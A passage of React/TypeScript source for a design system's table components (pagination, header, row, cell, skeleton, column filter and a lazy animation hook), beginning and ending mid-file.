(\n              <div ref={sentinelRef} className=\"h-1\" aria-hidden=\"true\" />\n            )}\n            {/* Invisible placeholder rows to maintain consistent table height (disabled for infinite scroll) */}\n            {!infiniteScroll && Array.from({ length: Math.max(0, skeletonRows - data.length) }).map((_, index) => (\n              <div\n                key={`placeholder-${index}`}\n                className=\"relative rounded-[6px] overflow-hidden pointer-events-none\"\n                aria-hidden=\"true\"\n              >\n                {/* Desktop placeholder - invisible but takes up space */}\n                <div className={cn('hidden md:flex items-center gap-4 px-4 py-0', ROW_HEIGHT_DESKTOP)} />\n                {/* Mobile placeholder - invisible but takes up space */}\n                <div className={cn('flex md:hidden gap-3 items-center justify-start px-3 py-0', ROW_HEIGHT_MOBILE)} />\n              </div>\n            ))}\n          </>\n        )}\n      </div>\n\n      {/* Pagination - only show when there's data and infinite scroll is not active */}\n      {!infiniteScroll && cursorPagination && data.length > 0 && (\n        <CursorPagination\n          hasNextPage={cursorPagination.hasNextPage}\n          hasPreviousPage={cursorPagination.hasPreviousPage}\n          isFirstPage={cursorPagination.isFirstPage}\n          startCursor={cursorPagination.startCursor}\n          endCursor={cursorPagination.endCursor}\n          currentCount={cursorPagination.currentCount ?? data.length}\n          totalCount={cursorPagination.totalCount}\n          itemName={cursorPagination.itemName}\n          loading={loading}\n          onNext={cursorPagination.onNext}\n          onPrevious={cursorPagination.onPrevious}\n          onReset={cursorPagination.onReset}\n          showInfo={cursorPagination.showInfo ?? true}\n          compact={cursorPagination.compact}\n          resetButtonLabel={cursorPagination.resetButtonLabel}\n          resetButtonIcon={cursorPagination.resetButtonIcon}\n          className={cn(\n            'border-t border-ods-border pt-3 mt-2',\n            paginationClassName\n          )}\n        />\n      )}\n\n      {!infiniteScroll && pagePagination && !cursorPagination && data.length > 0 && (\n        <div className={cn(\n          'border-t border-ods-border pt-3 mt-2',\n          paginationClassName\n        )}>\n          <Pagination\n            currentPage={pagePagination.currentPage}\n            totalPages={pagePagination.totalPages}\n            onPageChange={pagePagination.onPageChange}\n          />\n        </div>\n      )}\n    </div>\n  )\n}","'use client'\n\nimport React from 'react'\nimport { ChevronLeft, ChevronRight, RotateCcw, Home } from 'lucide-react'\nimport { cn } from '../../utils/cn'\nimport { Button } from './button'\n\nexport interface CursorPaginationProps {\n  hasNextPage: boolean\n  hasPreviousPage?: boolean\n  isFirstPage?: boolean\n  startCursor?: string | null\n  endCursor?: string | null\n  \n  currentCount?: number\n  totalCount?: number | null\n  itemName?: string\n  \n  loading?: boolean\n  \n  onNext?: (cursor: string) => void\n  onPrevious?: (cursor: string) => void\n  onReset?: () => void\n  \n  className?: string\n  showInfo?: boolean\n  compact?: boolean\n  resetButtonLabel?: string\n  resetButtonIcon?: 'home' | 'rotate'\n}\n\nexport function CursorPagination({\n  hasNextPage,\n  hasPreviousPage,\n  isFirstPage = true,\n  startCursor,\n  endCursor,\n  currentCount,\n  totalCount,\n  itemName = 'items',\n  loading = false,\n  onNext,\n  onPrevious,\n  onReset,\n  className,\n  showInfo = true,\n  compact = false,\n  resetButtonLabel = 'First',\n  resetButtonIcon = 'home'\n}: CursorPaginationProps) {\n  const handleNext = () => {\n    if (hasNextPage && endCursor && onNext) {\n      onNext(endCursor)\n    }\n  }\n\n  const handlePrevious = () => {\n    if (hasPreviousPage && startCursor && onPrevious) {\n      onPrevious(startCursor)\n    }\n  }\n  \n  const handleReset = () => {\n    if (onReset) {\n      onReset()\n    }\n  }\n  \n  const ResetIcon = resetButtonIcon === 'rotate' ? RotateCcw : Home\n\n  const getDisplayText = () => {\n    if (!showInfo || !currentCount) return null\n\n    if (totalCount) {\n      return `Showing ${currentCount} of ${totalCount} ${itemName}`\n    } else if (hasNextPage) {\n      return `Showing ${currentCount}+ ${itemName}`\n    } else {\n      return `Showing ${currentCount} ${itemName}`\n    }\n  }\n\n  const displayText = getDisplayText()\n\n  return (\n    <div \n      className={cn(\n        'flex items-center justify-between gap-4',\n        compact ? 'py-2' : 'py-3',\n        className\n      )}\n    >\n      {/* Info text */}\n      {showInfo && (\n        <div className=\"text-h6 text-ods-text-secondary\">\n          {displayText || <span>&nbsp;</span>}\n        </div>\n      )}\n\n      {/* Navigation buttons */}\n      <div className=\"flex items-center gap-2\">\n        {onReset ? (\n          <Button\n            variant=\"outline\"\n            size={compact ? 'small-legacy' : 'default'}\n            onClick={handleReset}\n            disabled={isFirstPage || loading}\n            className={cn(\n              compact && 'h-8 px-3'\n            )}\n            leftIcon={<ResetIcon className=\"h-4 w-4\" />}\n            aria-label=\"Go to first page\"\n          >\n            <span className={compact ? 'hidden md:inline' : ''}>{resetButtonLabel}</span>\n          </Button>\n        ) : (\n          hasPreviousPage !== undefined && onPrevious && (\n            <Button\n              variant=\"outline\"\n              size={compact ? 'small-legacy' : 'default'}\n              onClick={handlePrevious}\n              disabled={!hasPreviousPage || loading}\n              className={cn(\n                compact && 'h-8 px-3'\n              )}\n              leftIcon={<ChevronLeft className=\"h-4 w-4\" />}\n              aria-label=\"Go to previous page\"\n            >\n              <span className={compact ? 'hidden md:inline' : ''}>Previous</span>\n            </Button>\n          )\n        )}\n\n        <Button\n          variant=\"outline\"\n          size={compact ? 'small-legacy' : 'default'}\n          onClick={handleNext}\n          disabled={!hasNextPage || loading}\n          className={cn(\n            compact && 'h-8 px-3'\n          )}\n          rightIcon={<ChevronRight className=\"h-4 w-4\" />}\n          aria-label=\"Go to next page\"\n        >\n          <span className={compact ? 'hidden md:inline' : ''}>Next</span>\n        </Button>\n      </div>\n    </div>\n  )\n}\n\nexport function CursorPaginationSimple({\n  hasNextPage,\n  hasPreviousPage,\n  isFirstPage = true,\n  onNext,\n  onPrevious,\n  onReset,\n  loading = false,\n  className\n}: Pick<CursorPaginationProps, 'hasNextPage' | 'hasPreviousPage' | 'isFirstPage' | 'onNext' | 'onPrevious' | 'onReset' | 'loading' | 'className'>) {\n  return (\n    <div className={cn('flex items-center gap-1', className)}>\n      {onReset ? (\n        <Button\n          variant=\"transparent\"\n          size=\"icon\"\n          onClick={onReset}\n          disabled={isFirstPage || loading}\n          className=\"h-8 w-8\"\n          leftIcon={<Home className=\"h-4 w-4\" />}\n          aria-label=\"First\"\n        />\n      ) : (\n        hasPreviousPage !== undefined && onPrevious && (\n          <Button\n            variant=\"transparent\"\n            size=\"icon\"\n            onClick={() => onPrevious?.('')}\n            disabled={!hasPreviousPage || loading}\n            className=\"h-8 w-8\"\n            leftIcon={<ChevronLeft className=\"h-4 w-4\" />}\n            aria-label=\"Previous\"\n          />\n        )\n      )}\n      \n      <Button\n        variant=\"transparent\"\n        size=\"icon\"\n        onClick={() => onNext?.('')}\n        disabled={!hasNextPage || loading}\n        className=\"h-8 w-8\"\n        rightIcon={<ChevronRight className=\"h-4 w-4\" />}\n        aria-label=\"Next\"\n      />\n    </div>\n  )\n}","'use client'\n\nimport { cn } from '../../../utils/cn'\nimport { SearchIcon } from '../../icons-v2-generated'\nimport { NoData } from '../no-data'\nimport type { TableEmptyStateProps } from './types'\n\n/** @deprecated Use `DataTableEmpty` from `data-table` instead. */\nexport function TableEmptyState({ message, icon, action, className }: TableEmptyStateProps) {\n  return (\n    <NoData\n      icon={icon ?? <SearchIcon />}\n      title={message ?? 'No results found'}\n      description={message == null ? 'Try adjusting your search or filters' : undefined}\n      buttonLabel={action?.label}\n      onButtonClick={action?.onClick}\n      className={cn('py-[var(--spacing-system-xxl)]', className)}\n    />\n  )\n}\n","'use client'\n\nimport { useLgUp } from '../../../hooks/ui/use-media-query'\nimport { cn } from '../../../utils/cn'\nimport { Arrow01DownIcon } from '../../icons-v2-generated/arrows/arrow-01-down-icon'\nimport { Arrow01UpIcon } from '../../icons-v2-generated/arrows/arrow-01-up-icon'\nimport { SwitchVrIcon } from '../../icons-v2-generated/arrows/switch-vr-icon'\nimport { Checkbox } from '../checkbox'\nimport { TableColumnFilterDropdown } from './table-column-filter-dropdown'\nimport type { TableColumn, TableHeaderProps } from './types'\nimport { getHideClasses } from './utils'\n\n/** @deprecated Use `DataTableHeader` from `data-table` instead. */\nexport function TableHeader<T = any>({\n  columns,\n  className,\n  sortBy,\n  sortDirection,\n  onSort,\n  filters,\n  onFilterChange,\n  selectable,\n  allSelected,\n  someSelected,\n  onSelectAll,\n  totalItemsCount,\n  stickyHeader,\n  stickyHeaderOffset,\n}: TableHeaderProps<T>) {\n  const getAlignment = (align?: 'left' | 'center' | 'right') => {\n    switch (align) {\n      case 'center':\n        return 'justify-center'\n      case 'right':\n        return 'justify-end'\n      default:\n        return 'justify-start'\n    }\n  }\n\n  const handleSort = (column: TableColumn<T>) => {\n    if (!column.sortable || !onSort) return\n    \n    const columnKey = column.sortKey || column.key\n    let newDirection: 'asc' | 'desc' = 'asc'\n    \n    if (sortBy === columnKey) {\n      newDirection = sortDirection === 'asc' ? 'desc' : 'asc'\n    }\n    \n    onSort(columnKey, newDirection)\n  }\n\n  const getSortIcon = (column: TableColumn<T>) => {\n    if (!column.sortable) return null\n    \n    const columnKey = column.sortKey || column.key\n    const isActive = sortBy === columnKey\n    \n    if (!isActive) {\n      return <SwitchVrIcon className=\"w-4 h-4 text-ods-text-secondary\" />\n    }\n    \n    return sortDirection === 'asc' \n      ? <Arrow01UpIcon className=\"w-4 h-4 text-ods-accent\" />\n      : <Arrow01DownIcon className=\"w-4 h-4 text-ods-accent\" />\n  }\n\n  const isLgUp = useLgUp() ?? false\n\n  return (\n    <div\n      className={cn(\n        'hidden md:flex items-center gap-4 px-4 py-3 relative h-11',\n        stickyHeader && `sticky z-10 bg-ods-bg ${stickyHeaderOffset || 'top-0'}`,\n        className\n      )}\n    >\n        {/* Selection checkbox */}\n        {selectable && (\n          <div className=\"flex items-center justify-center w-10 shrink-0\">\n            <Checkbox\n              checked={allSelected || (someSelected && !allSelected) ? true : false}\n              onCheckedChange={onSelectAll}\n              className=\"border-ods-border\"\n            />\n          </div>\n        )}\n\n        {columns.map((column) => {\n          const isActionsColumn = column.key === '__actions__'\n          const filterable = column.filterable && column.filterOptions && onFilterChange\n\n          // Hide columns on mobile if they are not actions or filterable\n          if (!isLgUp && !isActionsColumn && !filterable) {\n            return null\n          }\n\n          return (\n            <div\n              key={column.key}\n              className={cn(\n                'flex gap-2 items-center',\n                isLgUp && getAlignment(column.align),\n                isLgUp && (column.width || 'flex-1 min-w-0'),\n                column.className,\n                // Only apply hide classes if the column is not filterable or on tablet\n                !(filterable && !isLgUp) && getHideClasses(column.hideAt),\n                isActionsColumn && 'ml-auto',\n              )}\n            >\n              {isActionsColumn ? (\n                // Render total items count in actions column\n                totalItemsCount > 0 && (\n                  <span className=\"text-h6 text-ods-text-secondary whitespace-nowrap\">\n                    Showing {totalItemsCount} {totalItemsCount === 1 ? 'result' : 'results'}\n                  </span>\n                )\n              ) : column.filterable && column.filterOptions && onFilterChange ? (\n                /* Filterable column — label + icon are both inside the dropdown trigger */\n                <TableColumnFilterDropdown\n                  columnKey={column.key}\n                  columnLabel={column.label}\n                  filterOptions={column.filterOptions}\n                  filters={filters}\n                  onFilterChange={onFilterChange}\n                />\n              ) : (\n                /* Non-filterable column — regular label with optional sort */\n                <div\n                  className={cn(\n                    'flex gap-2 items-center',\n                    column.sortable && 'cursor-pointer hover:text-ods-text-primary transition-colors'\n                  )}\n                  onClick={() => handleSort(column)}\n                >\n                  {column.renderHeader ? (\n                    <>\n                      {column.renderHeader()}\n                      {getSortIcon(column)}\n                    </>\n                  ) : (\n                    <>\n                      <span className=\"text-h5 text-ods-text-secondary uppercase whitespace-nowrap\">\n                        {column.label}\n                      </span>\n                      {getSortIcon(column)}\n                    </>\n                  )}\n                </div>\n              )}\n            </div>\n          )\n        })}\n    </div>\n  )\n}","'use client'\n\nimport { cn } from '../../../utils/cn'\nimport { FiltersDropdown, type FilterSection } from '../../features'\nimport { Filter02Icon } from '../../icons-v2-generated'\nimport type { FilterOption, TableFilters } from './types'\n\n/** @deprecated Use `DataTableColumnFilter` from `data-table` instead. */\nexport interface TableColumnFilterDropdownProps {\n  /** Column key used for filter state */\n  columnKey: string\n  /** Column label for display and accessibility */\n  columnLabel: string\n  /** Available filter options for the column */\n  filterOptions: FilterOption[]\n  /** Current filter state for all columns */\n  filters?: TableFilters\n  /** Called when filters change */\n  onFilterChange: (filters: TableFilters) => void\n  /** Dropdown placement */\n  placement?: 'bottom-start' | 'bottom-end' | 'bottom'\n  /** Additional class for the dropdown */\n  dropdownClassName?: string\n}\n\n/** @deprecated Use `DataTableColumnFilter` from `data-table` instead. */\nexport function TableColumnFilterDropdown({\n  columnKey,\n  columnLabel,\n  filterOptions,\n  filters,\n  onFilterChange,\n  placement = 'bottom-start',\n  dropdownClassName = 'min-w-[240px]',\n}: TableColumnFilterDropdownProps) {\n  const activeCount = filters?.[columnKey]?.length || 0\n\n  return (\n    <FiltersDropdown\n      triggerElement={\n        <div\n          className=\"flex items-center gap-1.5 rounded px-1 py-0.5 cursor-pointer hover:bg-ods-bg-active transition-all duration-200\"\n          aria-label={`Filter by ${columnLabel}`}\n        >\n          <span className=\"text-h5 text-ods-text-secondary select-none\">\n            {columnLabel}\n          </span>\n          <Filter02Icon\n            className={cn(\n              'w-4 h-4 transition-colors',\n              activeCount > 0\n                ? 'text-ods-accent'\n                : 'text-ods-text-secondary',\n            )}\n          />\n        </div>\n      }\n      sections={[\n        {\n          id: columnKey,\n          title: columnLabel,\n          type: 'checkbox',\n          options: filterOptions,\n          allowSelectAll: true,\n        } as FilterSection,\n      ]}\n      onApply={(appliedFilters) => {\n        onFilterChange({\n          ...filters,\n          [columnKey]: appliedFilters[columnKey] || [],\n        })\n      }}\n      onReset={() => {\n        const newFilters = { ...filters }\n        delete newFilters[columnKey]\n        onFilterChange(newFilters)\n      }}\n      currentFilters={{ [columnKey]: filters?.[columnKey] || [] }}\n      placement={placement}\n      dropdownClassName={dropdownClassName}\n    />\n  )\n}\n","import type { TableColumn, TailwindBreakpoint } from './types'\n\n/** @deprecated Use `data-table` instead. */\nexport function getHideClasses(\n  hideAt?: TailwindBreakpoint | TailwindBreakpoint[],\n): string {\n  if (!hideAt) {\n    return ''\n  }\n\n  // Convert single breakpoint to array for uniform handling\n  const breakpoints = Array.isArray(hideAt) ? hideAt : [hideAt]\n\n  // Breakpoint order for Tailwind (smallest to largest)\n  const breakpointOrder: TailwindBreakpoint[] = ['md', 'lg', 'xl', '2xl']\n\n  // Find the largest breakpoint in the hideAt array\n  const maxBreakpointIndex = Math.max(\n    ...breakpoints.map(bp => breakpointOrder.indexOf(bp))\n  )\n\n  // For single breakpoint: hide below, show at and above\n  // e.g., hideAt: 'md' -> 'hidden md:flex'\n  if (breakpoints.length === 1) {\n    return `hidden ${breakpoints[0]}:flex`\n  }\n\n  // For multiple breakpoints: hide at specified breakpoints, show after the largest one\n  // e.g., hideAt: ['md', 'lg'] -> 'md:hidden lg:hidden xl:flex'\n  const hideClasses = breakpoints\n    .map(bp => `${bp}:hidden`)\n    .join(' ')\n\n  // Find next breakpoint after the max to show the column\n  const nextBreakpointIndex = maxBreakpointIndex + 1\n  const showBreakpoint = breakpointOrder[nextBreakpointIndex]\n\n  if (showBreakpoint) {\n    return `${hideClasses} ${showBreakpoint}:flex`\n  }\n\n  // If no next breakpoint (e.g., hideAt: '2xl'), just hide\n  return hideClasses\n}\n\n/** @deprecated Use `data-table` instead. */\nexport function isHiddenOnMobile<T>(column: TableColumn<T>): boolean {\n  if (!column.hideAt) {\n    return false\n  }\n\n  const breakpoints = Array.isArray(column.hideAt) ? column.hideAt : [column.hideAt]\n\n  // Check if 'md' is in the list (mobile breakpoints)\n  return breakpoints.some(bp => bp === 'md')\n}\n","'use client'\n\nimport Link from '../../../embed-shims/next-link'\nimport React from 'react'\nimport { cn } from '../../../utils/cn'\nimport { Checkbox } from '../checkbox'\nimport { TableCell } from './table-cell'\nimport { COMPACT_ROW_MIN_HEIGHT, ROW_HEIGHT_DESKTOP } from './table-skeleton'\nimport type { TableRowProps } from './types'\nimport { getHideClasses } from './utils'\n\n/** @deprecated Use `DataTableRow` from `data-table` instead. */\nexport function TableRow<T = any>({\n  item,\n  columns,\n  onClick,\n  href,\n  className,\n  index,\n  compact,\n  selectable,\n  selected,\n  onSelect,\n  animateRowReorder,\n  motionDiv\n}: TableRowProps<T>) {\n  const isLinkMode = Boolean(href) && !onClick\n  // Opt-in FLIP: the outer row becomes a `motion.div` (passed down lazily from\n  // Table, so framer-motion stays out of the default bundle) that animates only\n  // its position (`layout=\"position\"`) so reordering doesn't distort inner cell\n  // content (CircularProgress / ProgressBar). Plain `<div>` when off, or until\n  // framer-motion has loaded — zero cost on the default path.\n  const animate = Boolean(animateRowReorder && motionDiv)\n  const Row: any = animate ? motionDiv : 'div'\n  const motionProps = animate\n    ? { layout: 'position' as const, transition: { layout: { duration: 0.35, ease: [0.22, 1, 0.36, 1] as const } } }\n    : {}\n\n  const handleRowClick = (e: React.MouseEvent) => {\n    const target = e.target as HTMLElement\n    if (target.closest('[data-no-row-click]')) {\n      return\n    }\n\n    if (onClick) {\n      onClick(item)\n    }\n  }\n\n  const handleSelect = () => {\n    if (onSelect) {\n      onSelect(item)\n    }\n  }\n\n  const getCellValue = (column: typeof columns[0]): React.ReactNode => {\n    if (column.renderCell) {\n      return column.renderCell(item, column)\n    }\n\n    // Access nested properties using dot notation\n    const keys = column.key.split('.')\n    let value: any = item\n    for (const key of keys) {\n      value = value?.[key]\n    }\n\n    if (value === null || value === undefined) {\n      return '-'\n    }\n    if (typeof value === 'boolean') {\n      return value ? 'Yes' : 'No'\n    }\n    if (typeof value === 'object') {\n      return JSON.stringify(value)\n    }\n\n    return String(value)\n  }\n\n  return (\n    <Row\n      {...motionProps}\n      className={cn(\n        'relative rounded-[6px] bg-ods-card border border-ods-border overflow-hidden',\n        (onClick || isLinkMode) && 'cursor-pointer hover:bg-ods-bg-active transition-colors',\n        typeof className === 'function' ? className(item, index) : className\n      )}\n      onClick={isLinkMode ? undefined : handleRowClick}\n    >\n      {isLinkMode && href && (\n        <Link\n          href={href}\n          prefetch={false}\n          className=\"absolute inset-0\"\n          aria-label=\"View details\"\n        />\n      )}\n      <div\n        className={cn(\n          'relative flex items-center gap-4 px-4',\n          // `compact` rows are content-sized, but every row in a table shows\n          // the same cell shapes, so a MIN height makes the body's height a\n          // function of the row COUNT alone. That is what lets a host reserve\n          // space for a full page and stop the layout jumping between a full\n          // page, a short last page and the skeleton.\n          compact ? cn('py-2', COMPACT_ROW_MIN_HEIGHT) : cn('py-0', ROW_HEIGHT_DESKTOP),\n          isLinkMode && 'pointer-events-none'\n        )}\n      >\n        {/* Selection checkbox */}\n        {selectable && (\n          <div className=\"flex items-center justify-center w-10 shrink-0 pointer-events-auto\" data-no-row-click>\n            <Checkbox\n              checked={selected}\n              onCheckedChange={handleSelect}\n              className=\"border-ods-border\"\n            />\n          </div>\n        )}\n\n        {columns.map((column) => (\n          <TableCell\n            key={column.key}\n            align={column.align}\n            width={column.width || 'flex-1 min-w-0'}\n            className={cn(column.className, getHideClasses(column.hideAt))}\n          >\n            {getCellValue(column)}\n          </TableCell>\n        ))}\n      </div>\n    </Row>\n  )\n}","'use client'\n\nimport React from 'react'\nimport { cn } from '../../../utils/cn'\nimport type { TableCellProps } from './types'\n\n/** @deprecated Use `DataTable` from `data-table` instead. */\nexport function TableCell({\n  children,\n  align = 'left',\n  className,\n  width\n}: TableCellProps) {\n  const getAlignment = () => {\n    switch (align) {\n      case 'center':\n        return 'justify-center text-center'\n      case 'right':\n        return 'justify-end text-right'\n      default:\n        return 'justify-start text-left'\n    }\n  }\n\n  return (\n    <div\n      className={cn(\n        'flex flex-col overflow-hidden',\n        getAlignment(),\n        width || 'flex-1 min-w-0',\n        className\n      )}\n    >\n      {typeof children === 'string' || typeof children === 'number' ? (\n        <span className=\"text-h4 text-ods-text-primary truncate\">\n          {children}\n        </span>\n      ) : (\n        children\n      )}\n    </div>\n  )\n}","'use client'\n\nimport React from 'react'\nimport { cn } from '../../../utils/cn'\nimport type { TableCardSkeletonProps } from './types'\n\n// INNER row heights: the bordered row card adds 1px top + bottom, so the\n// outer block totals the designed 68px / 80px.\nconst ROW_HEIGHT_DESKTOP = 'h-[66px] md:h-[78px]'\n/**\n * A `compact` row's floor. Compact rows are content-sized (`py-2`), but every\n * row in one table renders the same cell shapes, so pinning a minimum makes the\n * body's height a function of the ROW COUNT alone — which is what lets a host\n * reserve space for a full page and stop the layout jumping between a full\n * page, a short last page and the skeleton. The skeleton uses it too, so the\n * loading state is exactly as tall as the rows that replace it.\n */\nconst COMPACT_ROW_MIN_HEIGHT = 'min-h-[56px]'\n/** The same 56, as a number, for hosts reserving `rows x height` of space.\n *  A LITERAL class above and a literal number here: an interpolated Tailwind\n *  class is invisible to the scanner and is never generated. */\nconst COMPACT_ROW_MIN_HEIGHT_PX = 56\nconst ROW_HEIGHT_MOBILE = 'h-[66px]'\n\n/** @deprecated Use `DataTableSkeleton` from `data-table` instead. */\nexport function TableCardSkeleton({\n  columns,\n  rows = 10,\n  compact = false,\n  hasActions = false,\n  hasChevron = false,\n  className,\n  rowClassName\n}: TableCardSkeletonProps) {\n  // The multi-line placeholder belongs to the primary text column — the wide,\n  // GROWING one (`flex-1` / `flex-[n]`), not necessarily the first column, which\n  // may be a narrow leading action/icon column. Falls back to the first column.\n  const primaryKey = (columns.find((c) => /flex-(1|\\[)/.test(c.width || '')) ?? columns[0])?.key\n  return (\n    <>\n      {Array.from({ length: rows }).map((_, index) => (\n        <div\n          key={index}\n          className={cn(\n            'relative rounded-[6px] bg-ods-card border border-ods-border overflow-hidden animate-pulse',\n            className\n          )}\n        >\n          {/* Desktop Skeleton */}\n          {/* Matches the ROW it stands in for: a compact row is content-sized\n              with a floor, a normal row is a fixed height. Using the taller of\n              the two here made every compact table jump on its first paint. */}\n          <div className={cn(\n            'hidden md:flex items-center gap-4 px-4',\n            compact ? cn('py-2', COMPACT_ROW_MIN_HEIGHT) : cn('py-0', ROW_HEIGHT_DESKTOP),\n            rowClassName\n          )}>\n            {columns.map((column) => (\n              <div\n                key={column.key}\n                className={cn(\n                  'flex flex-col justify-center shrink-0',\n                  column.width || 'flex-1'\n                )}\n              >\n                <div className=\"h-5 bg-ods-bg-surface rounded w-3/4 mb-1\" />\n                {/* second line simulates multi-line content on the primary column */}\n                {index % 2 === 0 && column.key === primaryKey && (\n                  <div className=\"h-4 bg-ods-bg-surface rounded w-1/2 opacity-60\" />\n                )}\n              </div>\n            ))}\n\n            {/* Actions skeleton */}\n            {hasActions && (\n              <div className={cn('flex gap-2 items-center shrink-0', !hasChevron && 'ml-auto')}>\n                <div className=\"h-12 w-12 bg-ods-bg-surface rounded\" />\n                <div className=\"h-12 w-24 bg-ods-bg-surface rounded\" />\n              </div>\n            )}\n\n            {/* Chevron skeleton */}\n            {hasChevron && (\n              <div className={cn('flex items-center justify-end shrink-0 w-12', !hasActions && 'ml-auto')}>\n                <div className=\"h-8 w-8 bg-ods-bg-surface rounded\" />\n              </div>\n            )}\n          </div>\n\n          {/* Mobile Skeleton */}\n          <div className={cn(\n            'flex md:hidden gap-3 items-center justify-start px-3 py-0',\n            ROW_HEIGHT_MOBILE,\n            rowClassName\n          )}>\n            <div className=\"flex-1 flex flex-col justify-center min-w-0 py-3\">\n              <div className=\"h-4 bg-ods-bg-surface rounded w-3/4 mb-2\" />\n              <div className=\"h-3 bg-ods-bg-surface rounded w-1/2 opacity-60\" />\n            </div>\n            {hasActions && (\n              <div className=\"h-12 w-12 bg-ods-bg-surface rounded shrink-0\" />\n            )}\n            {hasChevron && (\n              <div className=\"h-8 w-8 bg-ods-bg-surface rounded shrink-0\" />\n            )}\n          </div>\n        </div>\n      ))}\n    </>\n  )\n}\n\n/** @deprecated */\nexport { ROW_HEIGHT_DESKTOP, ROW_HEIGHT_MOBILE, COMPACT_ROW_MIN_HEIGHT, COMPACT_ROW_MIN_HEIGHT_PX }","'use client'\n\nimport { useEffect, useState } from 'react'\n\n/**\n * Framer Motion runtime resolved lazily for the opt-in row-reorder animation.\n * `motionDiv` is `motion.div`; `LayoutGroup` coordinates the FLIP.\n */\nexport interface TableMotionRuntime {\n  // framer-motion component types are intentionally `any` here so the base table\n  // never has to statically reference framer-motion (keeping it out of the\n  // default bundle).\n  motionDiv: any\n  LayoutGroup: any\n}\n\n/**\n * Lazily loads `framer-motion` — via a dynamic `import()` so it lands in its own\n * chunk — ONLY when row-reorder animation is enabled. Consumers that never set\n * `animateRowReorder` never pull framer-motion into their bundle (the default\n * `Table`/`TableRow` path stays motion-free).\n *\n * Returns `null` until the module resolves (and always when `enabled` is false);\n * callers render plain DOM in the meantime, so the first paint is non-animated\n * and the FLIP kicks in once the chunk has loaded.\n */\nexport function useTableMotion(enabled: boolean): TableMotionRuntime | null {\n  const [runtime, setRuntime] = useState<TableMotionRuntime | null>(null)\n\n  useEffect(() => {\n    if (!enabled || runtime) return\n    let active = true\n    import('framer-motion')\n      .then((m) => {\n        if (active) setRuntime({ motionDiv: m.motion.div, LayoutGroup: m.LayoutGroup })\n      })\n      .catch(() => {\n        // Chunk-load failure → keep `runtime` null so the table degrades to\n        // plain (non-animated) rows, instead of surfacing an unhandled\n        // promise rejection / global chunk-load error.\n      })\n    return () => {\n      active = false\n    }\n  }, [enabled, runtime])\n\n  return enabled ? runtime : null\n}\n","'use client'\n\nimport React from 'react'\nimport { cn } from '../../../utils/cn'\n\n/** @deprecated Use `data-table` instead. */\nexport interface TableDescriptionCellProps {\n  /**\n   * The description text to display\n   */\n  text: string\n  /**\n   * Optional additional CSS classes\n   */\n  className?: string\n  /**\n   * Maximum number of lines to display before truncating\n   * @default 3\n   */\n  maxLines?: number\n}\n\n/**\n * @deprecated Use `data-table` instead.\n */\nexport function TableDescriptionCell({\n  text,\n  className,\n  maxLines = 3\n}: TableDescriptionCellProps) {\n  return (\n    <div className=\"flex-1\">\n      <div className=\"flex flex-col justify-center\">\n        <span\n          className={cn(\n            \"text-h6 text-ods-text-secondary break-words\",\n            maxLines === 1 && \"truncate\",\n            maxLines === 2 && \"line-clamp-2\",\n            maxLines === 3 && \"line-clamp-3\",\n            maxLines === 4 && \"line-clamp-4\",\n            maxLines === 5 && \"line-clamp-5\",\n            maxLines === 6 && \"line-clamp-6\",\n            className\n          )}\n        >\n          {text}\n        </span>\n      </div>\n    </div>\n  )\n}\n","'use client'\n\nimport React from 'react'\nimport { cn } from '../../../utils/cn'\n\n/** @deprecated Use `data-table` instead. */\nexport interface TableTimestampCellProps {\n  /**\n   * The timestamp to display (can be a Date, ISO string, or formatted string)\n   */\n  timestamp: string | Date\n  /**\n   * The ID to display below the timestamp\n   */\n  id: string\n  /**\n   * Optional label for the ID (e.g., \"Log ID\", \"Chat ID\")\n   * If not provided, just shows the ID\n   */\n  idLabel?: string\n  /**\n   * Optional additional CSS classes for the container\n   */\n  className?: string\n  /**\n   * Format the timestamp automatically if it's an ISO string or Date\n   * @default true\n   */\n  formatTimestamp?: boolean\n}\n\n/**\n * Formats a timestamp for display\n * If already formatted (contains space or comma), returns as-is\n * Otherwise formats as locale string\n */\nfunction formatTimestampValue(timestamp: string | Date): string {\n  if (timestamp instanceof Date) {\n    return timestamp.toLocaleString()\n  }\n\n  // If it looks like an ISO string, format it\n  if (typeof timestamp === 'string') {\n    // Check if already formatted (contains typical formatting chars)\n    if (timestamp.includes(',') || (timestamp.includes('/') && timestamp.includes(':'))) {\n      return timestamp\n    }\n\n    // Try to parse and format ISO strings\n    const date = new Date(timestamp)\n    if (!isNaN(date.getTime())) {\n      return date.toLocaleString()\n    }\n  }\n\n  // Return as-is if we can't parse it\n  return String(timestamp)\n}\n\n/** @deprecated Use `data-table` instead. */\nexport function TableTimestampCell({\n  timestamp,\n  id,\n  idLabel,\n  className,\n  formatTimestamp = true\n}: TableTimestampCellProps) {\n  const displayTimestamp = formatTimestamp\n    ? formatTimestampValue(timestamp)\n    : String(timestamp)\n\n  return (\n    <div className={cn(\"flex flex-col justify-center shrink-0\", className)}>\n      <span className=\"text-h4 text-ods-text-primary truncate\">\n        {displayTimestamp}\n      </span>\n      <span className=\"text-h6 text-ods-text-secondary truncate\">\n        {idLabel ? `${idLabel}: ${id}` : id}\n      </span>\n    </div>\n  )\n}\n","'use client'\n\nimport { useMemo } from 'react'\nimport { cn } from '../../../utils/cn'\nimport { Button } from '../button'\nimport { Download02Icon } from '../../icons-v2-generated/interface/download-02-icon'\nimport { useHorizontalScrollbar } from '../../../hooks/ui/use-horizontal-scrollbar'\nimport { TableEmptyState } from '../table/table-empty-state'\nimport { QueryReportTableHeader } from './query-report-table-header'\nimport { QueryReportTableRow } from './query-report-table-row'\nimport { QueryReportTableSkeleton } from './query-report-table-skeleton'\nimport { deriveColumns, exportToCSV } from './utils'\nimport type { QueryReportTableProps } from './types'\n\nexport function QueryReportTable({\n  title,\n  data,\n  loading = false,\n  skeletonRows = 8,\n  skeletonColumns = 6,\n  emptyMessage,\n  columnWidth = 160,\n  columnOrder,\n  showExport = true,\n  exportFilename = 'query-results',\n  onExport,\n  headerActions,\n  variant = 'default',\n  className,\n  tableClassName\n}: QueryReportTableProps) {\n  const isCompact = variant === 'compact'\n  const columns = useMemo(\n    () => deriveColumns(data, columnOrder),\n    [data, columnOrder]\n  )\n\n  const handleExport = () => {\n    exportToCSV(data, columns, exportFilename)\n    onExport?.()\n  }\n\n  const tableMinWidth = columns.length * (columnWidth + 16) // columnWidth + gap\n\n  const {\n    scrollRef,\n    trackRef,\n    thumbRef,\n    thumbRatio,\n    canScrollLeft,\n    canScrollRight,\n    onScroll,\n    onTrackClick,\n    onTrackWheel,\n    onThumbPointerDown,\n    onThumbPointerMove,\n    onThumbPointerUp,\n  } = useHorizontalScrollbar()\n\n  return (\n    